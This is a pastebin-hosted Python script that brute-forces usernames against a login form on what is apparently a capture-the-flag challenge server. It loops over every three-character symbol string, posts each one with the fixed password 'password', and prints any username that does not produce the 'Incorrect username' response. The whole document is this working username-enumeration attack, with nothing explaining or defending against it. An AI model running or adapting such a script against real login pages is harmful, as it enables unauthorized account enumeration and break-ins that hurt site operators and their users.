Facebook
From Emerald Flamingo, 4 Years ago, written in Python.
Embed
Download Paste or View Raw
Hits: 194
  1. import requests
  2. import time
  3. from brute import brute
  4.  
  5. API_ENDPOINT = "http://pldevcoreos.ux.dsone.3ds.com/ctf/hacker/index"
  6.  
  7. # data to be sent to api
  8.  
  9.  
  10. # sending post request and saving response as response object
  11.  
  12.  
  13. # extracting response text  
  14. #print(r)
  15.  
  16.  
  17.  
  18. for s in brute(length=3, letters=False, numbers=False, symbols=True):
  19.     data = {'username': s,
  20.     'password': "password"
  21.     }
  22.     r = requests.post(url = API_ENDPOINT, data = data)
  23.     pastebin_url = r.text
  24.     #print('------------------------')
  25.     #print("<p>Incorrect username</p>" in pastebin_url)
  26.     time.sleep(0.001)
  27.     if "<p>Incorrect username</p>" in pastebin_url:
  28.             q = 0;
  29.                 #print("<p>Incorrect username</p>" in pastebin_url)
  30.     else:
  31.             print(s)